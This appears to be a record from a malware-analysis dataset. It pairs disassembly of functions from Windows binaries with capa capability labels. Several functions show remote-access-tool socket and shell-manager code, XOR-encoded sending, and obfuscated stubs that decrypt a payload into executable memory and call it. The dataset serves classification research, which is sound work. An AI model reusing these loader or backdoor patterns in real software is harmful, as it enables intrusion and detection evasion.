joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100013d0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000eeba
mov eax, dword fs:[0]
push eax
sub esp, 0x19c
mov eax, dword [0x100130f0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esi + 4]
mov dword [ebp - 0x1a8], esi
mov dword [esi], vtable.CClientSocket.0
call fcn.10001000
lea ecx, [esi + 0x2c]
mov dword [ebp - 4], 0
call fcn.10001000
lea ecx, [esi + 0x54]
mov byte [ebp - 4], 1
call fcn.10001000
lea ecx, [esi + 0x7c]
mov byte [ebp - 4], 2
call fcn.10001000
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x1a8], 0x2a264024
mov ecx, dword [ebp - 0x1a8]
mov dword [esi + 0xac], eax
mov word [esi + 0xb4], 0x25
mov dword [esi + 0xa8], 0xffffffff
mov dword [esi + 0xb0], ecx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100038c0
mov esp, ebp
pop ebp
ret

Function at 0x100015a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100130f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
call fcn.100016e0
push dword [esi + 0xac]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0xb5], 0
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0xa8], eax
cmp eax, 0xffffffff
jne 0x100015fa
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100038c0
mov esp, ebp
pop ebp
ret 8
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x100015e6
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x20], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x100015e6
push 4
lea eax, [ebp - 0x24]
push eax
push 8
push 0xffff
push dword [esi + 0xa8]
mov dword [ebp - 0x24], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001698
push eax
push eax
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x10]
push eax
push 0x98000004
push dword [esi + 0xa8]
mov dword [ebp - 0x10], 1
mov dword [ebp - 0xc], 0x2bf20
mov dword [ebp - 8], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x10001bd0
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.10001ea0
mov ecx, dword [ebp - 4]
add esp, 0x1c
mov dword [esi + 0xa4], eax
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.100038c0
mov esp, ebp
pop ebp
ret 8
Function at 0x10001af0
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov dword [ebp - 8], ecx
mov ecx, dword [ebp + 0xc]
push esi
xor edx, edx
push edi
mov edi, dword [ebp + 8]
test ecx, ecx
jle 0x10001b17
mov al, byte [edx + edi]
xor al, 0x91
sub al, 0x67
mov byte [edx + edi], al
inc edx
cmp edx, ecx
jl 0x10001b08
mov ebx, dword [ebp + 0x10]
mov edx, dword [sym.imp.WS2_32.dll_send]
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebp + 8], ecx
cmp ecx, ebx
jb 0x10001b7a
lea esp, [esp]
xor esi, esi
mov eax, dword [ebp - 8]
push 0
push ebx
push edi
push dword [eax + 0xa8]
call edx
test eax, eax
jg 0x10001b51
mov edx, dword [sym.imp.WS2_32.dll_send]
inc esi
cmp esi, 0xf
jl 0x10001b32
cmp esi, 0xf
je 0x10001bbe
mov esi, dword [ebp - 4]
add esi, eax
push 0xa
mov dword [ebp - 4], esi
add edi, ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 8]
mov edx, dword [sym.imp.WS2_32.dll_send]
sub ecx, ebx
mov dword [ebp + 8], ecx
cmp ecx, ebx
jae 0x10001b30
test ecx, ecx
jle 0x10001bac
xor esi, esi
mov eax, dword [ebp - 8]
push 0
push ecx
push edi
push dword [eax + 0xa8]
call edx
test eax, eax
jg 0x10001ba2
mov ecx, dword [ebp + 8]
mov edx, dword [sym.imp.WS2_32.dll_send]
inc esi
cmp esi, 0xf
jl 0x10001b80
cmp esi, 0xf
je 0x10001bbe
mov esi, dword [ebp - 4]
add esi, eax
or eax, 0xffffffff
cmp esi, dword [ebp + 0xc]
pop edi
cmove eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10001ea0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
push 0
push 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
push 0
push 0
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
push dword [ebp + 0x18]
lea eax, [ebp - 0x10]
push eax
push 0x10002130
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10004035
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100024e0
Capabilities:
Terminate process
Terminate thread

Disassembly:
push dword [ecx + 8]
mov dword [ecx], vtable.CManager.0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
ret
push esi
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, ecx
push 0
push dword [edi + 0x24]
mov dword [edi], vtable.CShellManager.0
call esi
push 0
push dword [edi + 0x1c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push dword [edi + 0x20]
call esi
push 0x7d0
push dword [edi + 0x28]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [edi + 0x28]
call esi
mov eax, dword [edi + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x1000252e
push eax
call esi
mov eax, dword [edi + 0x10]
test eax, eax
je 0x10002538
push eax
call esi
mov eax, dword [edi + 0x14]
test eax, eax
je 0x10002542
push eax
call esi
mov eax, dword [edi + 0x18]
test eax, eax
je 0x1000254c
push eax
call esi
push dword [edi + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [edi + 0x10]
call esi
push dword [edi + 0x14]
call esi
push dword [edi + 0x18]
call esi
push dword [edi + 0x1c]
call esi
push dword [edi + 0x20]
call esi
push dword [edi + 0x28]
call esi
push dword [edi + 0x24]
call esi
mov ecx, edi
pop edi
pop esi
jmp 0x10001da0
Function at 0x1000d664
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100130f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.10007679
mov dword [ebp - 0x14], eax
cmp dword [0x10014fac], edi
jne 0x1000d755
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x1000d6e2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1000d835
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x1000d835
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000d835
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x10014fac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x10014fb0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x10014fb4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10014fbc], eax
test eax, eax
je 0x1000d752
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10014fb8], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1000d77a
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1000d76d
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x1000d78f
push 4
pop eax
jmp 0x1000d837
cmp dword [ebp - 0x14], edi
je 0x1000d78f
push dword [0x10014fac]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1000d774
mov eax, dword [0x10014fb8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x1000d7ed
cmp dword [0x10014fbc], esi
je 0x1000d7ed
push eax
call ebx
push dword [0x10014fbc]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1000d7ed
test eax, eax
je 0x1000d7ed
call ecx
test eax, eax
je 0x1000d7e2
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1000d7e2
test byte [ebp - 8], 1
jne 0x1000d7ed
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x1000d81d
mov eax, dword [0x10014fb0]
cmp eax, esi
je 0x1000d81a
push eax
call ebx
test eax, eax
je 0x1000d81a
call eax
mov edi, eax
test edi, edi
je 0x1000d81a
mov eax, dword [0x10014fb4]
cmp eax, esi
je 0x1000d81a
push eax
call ebx
test eax, eax
je 0x1000d81a
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x10014fac]
call ebx
test eax, eax
je 0x1000d835
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x1000d837
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100038c0
leave
ret
Function at 0x10039bc2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10080f6c]
jne 0x10039bcc
repz ret
jmp fcn.10042bbc

Function at 0x1003b150
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1003b15f
pop dword [ebp - 0x24]
mov eax, 0x1003b15f
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x413fe
push 0
mov eax, 0xed444d4f
sub eax, 0xdd3eaab7
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x36a9
xor edx, edx
add edx, eax
mov edi, 0x100cd200
add edi, dword [ebp - 0x24]
mov esi, 0xc3b55c57
sub esi, 0xb9352fff
add dword [ebp - 0x1c], 0x63ab8f47
mov ebx, dword [edi]
mov dword [ebp - 8], 0xd10e062b
xor ebx, esi
add dword [ebp - 0xc], eax
mov dword [edx], ebx
xor dword [ebp - 0x14], 0x361535f5
add edx, 0xeaca0a20
add edx, 0x1535f5e4
add edi, 4
loop 0x1003b1af
add eax, 0xcd77
mov ebx, eax
add eax, 0xc2c805b2
add eax, 0x3d37fa53
mov ecx, 0xbc9898fd
sub ecx, 0xac9898fd
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x1005558b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10083640], 0
push esi
push edi
jne 0x10055501
call fcn.1005546d
test eax, eax
je 0x10055546
mov eax, dword [0x10083640]
cmp eax, 1
jne 0x10055522
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x10055546
jmp 0x10055588
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x10055588
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1005554a
xor eax, eax
jmp 0x10055588
mov eax, dword [esi]
push dword [0x10083640]
call edi
mov edi, eax
test edi, edi
je 0x1005556c
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x10055588
lea edi, [esi + 0xff0]
push esi
push dword [0x10083640]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x10055572
mov eax, esi
pop edi
pop esi
ret
jmp 0x100554ed
Function at 0x401080
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
xor eax, esi
mov esi, esi
mov esi, esi
mov ebx, eax
mov ebx, ebx
mov ebx, ebx
xor esi, esi
xor ebx, eax
mov ebx, eax
rol esi, 0xcb
bswap eax
or edi, 0x78
bswap esi
dec eax
rcr edi, 0x16
or ebx, 0x49
inc eax
neg esi
not eax
dec edi
and edx, 0x9f
mov esi, 0x7c
bswap edx
dec eax
bswap ebx
neg ebx
sub eax, 0x1c
neg ebx
rcl eax, 0x8b
imul edx
or esi, 6
dec ebx
dec edx
sub edx, 0xef
neg esi
sbb edx, 0x83
not edx
rol edx, 0x9e
rcl edi, 0x33
ror eax, 4
not ebx
dec edx
bswap eax
rcr eax, 0xc6
not edx
inc esi
neg edx
neg ebx
rcl edx, 0xc1
bswap esi
not edx
mov ebx, 0x6a
neg eax
not eax
not edi
bswap edi
not eax
sbb edi, 0xb1
rol edx, 0x32
xor ecx, ecx
xor edi, edi
mov eax, ebx
mov eax, ebx
mov esi, esi
mov ebx, ebx
mov ebx, ebx
xor ebx, eax
inc edi
sub esi, 0xaf
not edi
add eax, 0x73
imul eax
mov eax, 0xed
inc edx
inc edi
not esi
neg esi
neg edi
imul edx
ror eax, 0xa6
neg edx
mov edi, 0x99
add eax, 0xa3
dec eax
and esi, 0xae
and edx, 0x28
rol edi, 0x10
rol esi, 5
and eax, 0x73
inc ebx
neg ebx
ror edx, 0x8d
rcr ebx, 0x55
or ebx, 0xb3
bswap eax
not esi
inc ebx
ror eax, 0x2a
bswap edi
dec esi
neg esi
neg ebx
and eax, 0xd1
dec edx
neg eax
sub edx, 0xb0
or ebx, 0xb2
bswap edx
add eax, 0x1c
not ebx
rcl edx, 0xdf
and edx, 0xc3
and edi, 0x20
neg eax
rcr edx, 0xa0
imul edx
rcl esi, 0xfd
xor eax, eax
xor eax, eax
mov eax, eax
mov ebx, esi
mov esi, esi
mov esi, esi
xor esi, eax
mov esi, ebx
mov esi, ebx
mov ecx, dword [ebp + 0xc]
neg edx
sub ebx, 0xd4
rcl edx, 0xfd
inc esi
neg edi
bswap eax
inc ebx
mov esi, 0xdc
dec eax
bswap eax
rol esi, 9
and ebx, 0x78
bswap ebx
not edx
dec edi
neg eax
imul ebx
rcl edx, 0xdc
bswap edx
neg ebx
rcl ebx, 0x81
sbb edx, 0x16
rol edx, 0xae
rol eax, 0xc8
neg ebx
inc ebx
ror eax, 0
imul edx
neg eax
rcl ebx, 0x97
not ebx
mov eax, 0x9e
bswap eax
rcl edi, 0x48
mov eax, 0x5b
rcl eax, 0xc8
ror esi, 0xc2
or esi, 0xab
and eax, 0x37
dec esi
imul eax
sbb ebx, 0xf5
dec ebx
bswap edx
dec edx
dec ebx
ror ebx, 0x8d
inc esi
imul ebx
ror edx, 0xf8
mov edi, dword [ebp + 8]
mov eax, ebx
mov esi, eax
xor ebx, ebx
mov eax, ebx
xor ebx, esi
xor esi, eax
mov ebx, ebx
mov esi, esi
mov esi, eax
not byte [edi]
mov esi, esi
mov eax, ebx
mov ebx, ebx
mov eax, ebx
mov ebx, ebx
xor esi, esi
mov esi, ebx
xor esi, esi
mov ebx, eax
mov esi, ebx
xor esi, eax
mov ebx, eax
sub byte [edi], 0xf1
add byte [edi], 0x63
xor ebx, eax
mov esi, eax
mov ebx, esi
xor esi, eax
mov eax, esi
mov ebx, ebx
mov eax, ebx
mov esi, ebx
xor eax, ebx
imul byte [edi]
inc edi
loop 0x401258
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401000
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
push str._JAVA_LAUNCHER_DEBUG
call fcn.00408d33
pop ecx
test eax, eax
je 0x401046
push str.Windows_original_main_args:_n
call fcn.00408bef
xor esi, esi
pop ecx
cmp dword [0x425628], esi
jle 0x401046
mov eax, dword [0x42562c]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.00408bef
add esp, 0xc
inc esi
cmp esi, dword [0x425628]
jl 0x401027
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push eax
call fcn.004187b4
call fcn.0040392e
mov edi, eax
lea eax, [edi*4 + 4]
push eax
call fcn.004039b0
pop ecx
pop ecx
mov esi, eax
call fcn.00403934
xor ecx, ecx
test edi, edi
jle 0x401080
mov edx, dword [eax + ecx*8]
mov dword [esi + ecx*4], edx
inc ecx
cmp ecx, edi
jl 0x401075
mov eax, dword [0x424010]
and dword [esi + ecx*4], 0
mov ebx, eax
test eax, eax
jne 0x401091
mov ebx, dword [esi]
mov ecx, dword [0x42400c]
test ecx, ecx
jne 0x40109d
mov ecx, dword [esi]
mov eax, dword [0x425420]
push 0
push 0
push 1
test eax, eax
setne dl
movzx edx, dl
push edx
push ebx
push ecx
push 0x41c24c
push 0x41c23c
push dword [0x425424]
push 1
push eax
push 1
push esi
push edi
call fcn.00403472
add esp, 0x38
pop edi
pop esi
pop ebx
ret
Function at 0x403e2f
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x424070]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x403ed2
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.004187b4
pop ecx
pop ecx
test eax, eax
je 0x403ebb
test ebx, ebx
je 0x403eaf
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.004187b4
pop ecx
pop ecx
test eax, eax
jle 0x403ebb
push ebx
call fcn.00403a18
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.004039f7
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x403e7c
xor edi, edi
cmp ebx, edi
jne 0x403ed6
xor eax, eax
jmp 0x403f42
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x403f05
call fcn.00403a18
pop ecx
cmp dword [ebp - 0x70], edi
je 0x403ed2
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x403ed2
call fcn.00403a18
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x403ef5
cmp dword [ebp - 0x70], edi
je 0x403f38
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.004039f7
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004098e8
add ebp, 0x9c
leave
ret
Function at 0x408f37
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x422550
call fcn.0040dcb0
xor esi, esi
cmp dword [0x4274a8], esi
jne 0x408df7
push esi
push esi
push 1
push esi
call dword [sym.imp.kernel32.dll_HeapSetInformation]
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x408e0a
mov dword [ebp - 0x1c], esi
jmp 0x408e40
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x408e05
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x408e05
cmp dword [eax + 0x400074], 0xe
jbe 0x408e05
xor ecx, ecx
cmp dword [eax + 0x4000e8], esi
setne cl
mov dword [ebp - 0x1c], ecx
call fcn.0040f80c
test eax, eax
jne 0x408e51
push 0x1c
call fcn.004187b4
pop ecx
call fcn.0040d831
test eax, eax
jne 0x408e62
push 0x10
call fcn.004187b4
pop ecx
call fcn.0040dae6
mov dword [ebp - 4], esi
call fcn.004187b4
test eax, eax
jns 0x408e7b
push 0x1b
call fcn.004187b4
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x4274a4], eax
call fcn.004187b4
mov dword [0x42565c], eax
call fcn.004187b4
test eax, eax
jns 0x408ea1
push 8
call fcn.004187b4
pop ecx
call fcn.0040f1ff
test eax, eax
jns 0x408eb2
push 9
call fcn.004187b4
pop ecx
push 1
call fcn.004187b4
pop ecx
cmp eax, esi
je 0x408ec5
push eax
call fcn.004187b4
pop ecx
mov eax, dword [0x425634]
mov dword [0x425638], eax
push eax
push dword [0x42562c]
push dword [0x425628]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], esi
jne 0x408ef2
push eax
call fcn.004187b4
call fcn.00408bb3
jmp 0x408f27
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.0040dcf5
ret
call fcn.004187b4
jmp 0x408dd6

Function at 0x4098e8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424070]
jne 0x4098f2
repz ret
jmp fcn.004114ed
Function at 0x4187b4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x4187c3
pop dword [ebp - 0x2c]
mov eax, 0xb4544412
add eax, 0x4bed43b1
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x1c8733c0
sub dword [ebp - 0x3c], 0xce34ee75
mov dword [ebp - 0x38], 0x1ae10822
sub dword [ebp - 0x38], 0xe8adbbdd
mov dword [ebp - 0x34], 0x597c8904
add dword [ebp - 0x34], 0xf2cfbb2a
mov dword [ebp - 0x30], 0xcb20931c
sub dword [ebp - 0x30], 0xcb20931c
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x3d8e5472
add eax, 0xc2b36bde
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xa7f5d6cd
add dword [ebp - 0x3c], 0xcc7c9289
mov dword [ebp - 0x38], 0x9c7fa43
sub dword [ebp - 0x38], 0xc85b98ce
mov dword [ebp - 0x34], 0xe16487f7
add dword [ebp - 0x34], 0x820ae475
mov dword [ebp - 0x30], 0xdd1e5bc8
add dword [ebp - 0x30], 0x22e1a438
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xc66bd47a
sub eax, 0xc62a142e
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3b99b
push 0
call eax
mov ecx, 0x4b43d476
sub ecx, 0x4b438c37
xor esi, esi
add esi, eax
mov edx, 0xddcb52f5
add edx, 0x2277d70b
add edx, dword [ebp - 0x2c]
mov edi, 0x496b9a13
sub edi, 0x944e660b
sub dword [ebp - 0x28], 0x4b9fd036
mov ebx, dword [edx]
add dword [ebp - 0x18], eax
xor ebx, edi
xor dword [ebp - 0x18], edx
mov dword [esi], ebx
sub dword [ebp - 0x18], esi
add esi, 0x32cbd564
add esi, 0xcd342aa0
add edx, 0x22b7a589
add edx, 0xdd485a7b
loop 0x4188e7
add eax, 0x747c5c34
add eax, 0x8b84b79b
mov ebx, eax
add eax, 0x59aa59b9
add eax, 0xa655a64c
mov ecx, 0x22ba32f8
sub ecx, 0x227a32f8
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x403918
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x8d5008], 0x8088405
inc edx
mov dword [ebx + 0x8d5008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41cf00
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cf31
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cf19
add dl, dl
jne 0x41cf3c
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cf8d
xor eax, eax
add dl, dl
jne 0x41cf49
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d02a
add dl, dl
jne 0x41cf58
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf63
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf6e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf79
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41cf83
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41cf28
mov eax, 1
add dl, dl
jne 0x41cf9b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cfa6
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cf92
sub eax, ebx
mov ebx, 1
jne 0x41cfd9
mov ecx, 1
add dl, dl
jne 0x41cfbf
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cfca
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cfb6
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cf28
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41cff0
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cffb
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cfe7
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cf28
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41d04b
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41cf28
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret